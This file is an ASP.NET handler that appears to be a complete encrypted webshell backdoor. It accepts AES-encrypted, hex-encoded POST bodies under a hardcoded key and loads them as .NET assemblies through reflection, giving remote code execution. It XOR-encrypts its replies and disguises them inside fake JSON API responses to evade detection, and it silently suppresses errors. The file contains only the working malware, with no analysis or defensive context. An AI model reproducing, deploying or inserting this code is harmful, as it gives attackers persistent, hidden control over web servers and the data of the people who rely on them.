<%@  Language="C#" Class="Handler1" %>
    using System;
    using System.Web;

    public class Handler1 : System.Web.IHttpHandler,System.Web.SessionState.IRequiresSessionState
    {

        public static byte[] unHex(byte[] hexString){byte[] b = new byte[hexString.Length / 2];byte c;for(int i = 0; i < hexString.Length / 2; i++){c = hexString[i * 2];b[i] =(byte)((c < 0x40 ? c - 0x30 :(c < 0x47 ? c - 0x37 : c - 0x57))<< 4);c = hexString[i * 2 + 1];b[i] +=(byte)(c < 0x40 ? c - 0x30 :(c < 0x47 ? c - 0x37 : c - 0x57));}return b;}public static byte[] aes128(byte[] bytes,int mode){System.Security.Cryptography.RijndaelManaged aes = new System.Security.Cryptography.RijndaelManaged();aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7;aes.Key = Convert.FromBase64String("0J5YM0fKgYVrmMkwTUIF+Q==");aes.Mode = System.Security.Cryptography.CipherMode.ECB;System.Security.Cryptography.ICryptoTransform transform = mode == 1 ? aes.CreateEncryptor(): aes.CreateDecryptor();return transform.TransformFinalBlock(bytes, 0, bytes.Length);}public static byte[] xor(byte[] data){byte[] key = Convert.FromBase64String("R84sh+6uJ9oXJpMfw2pc/Q==");int len = data.Length;int keyLen = key.Length;int index = 0;for(int i = 1; i <= len; i++){index = i - 1;data[index] =(byte)(data[index] ^ key[(i % keyLen)]);}return data;}
        public void ProcessRequest(System.Web.HttpContext Context)
        {
            HttpRequest Request = Context.Request;
            HttpResponse Response = Context.Response;
            HttpApplicationState Application = Context.Application;
            
            try {
                
                byte[] requestData = Request.BinaryRead(Request.ContentLength);byte[] _requestData = new byte[requestData.Length - 112];Array.Copy(requestData,110,_requestData,0,_requestData.Length);requestData = _requestData;
                requestData = unHex(requestData);requestData = aes128(requestData, 2);
                if (Application["{randomStr}"] == null) {
                    Application["{randomStr}"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load",
                        new System.Type[] {
                            typeof (byte[])
                        }).Invoke(null, new object[] {
                        requestData
                    });
                } else {
                    System.IO.MemoryStream memoryStream = new System.IO.MemoryStream();
                    System.IO.BinaryWriter arrOut = new System.IO.BinaryWriter(memoryStream);
                    object o = ((System.Reflection.Assembly)  Application["{randomStr}"]).CreateInstance("LY");
                    o.Equals(requestData);
                    o.Equals(memoryStream);
                    o.ToString();
                    byte[] responseData = memoryStream.ToArray();
                    memoryStream.SetLength(0);
                    responseData = xor(responseData);responseData = System.Text.Encoding.Default.GetBytes(Convert.ToBase64String(responseData));
                    arrOut.Write(Convert.FromBase64String("eyJjb2RlIjowLCJkYXRhIjp7InN1Z2dlc3RJdGVtcyI6W10sImdsb2JhbCI6ImUxSlRRWDBwWg=="));arrOut.Write(responseData);arrOut.Write(Convert.FromBase64String("IiwiZXhEYXRhIjp7ImFwaV9mbG93MDEiOiIwIiwiYXBpX2Zsb3cwMiI6IjAiLCJhcGlfZmxvdzAzIjoiMSIsImFwaV9mbG93MDQiOiIwIiwiYXBpX2Zsb3cwNSI6IjAiLCJhcGlfZmxvdzA2IjoiMCIsImFwaV9mbG93MDciOiIwIiwiYXBpX3RhZyI6IjIiLCJsb2NhbF9jaXR5aWQiOiItMSJ9fX0="));responseData = memoryStream.ToArray();Response.StatusCode = 200;Response.AddHeader("Content-Type","application/json");Response.BinaryWrite(responseData);

                }
            } catch (System.Exception) {

            }
            
        }

        public bool IsReusable
        {
            get
            {
                return false;
            }
        }
    }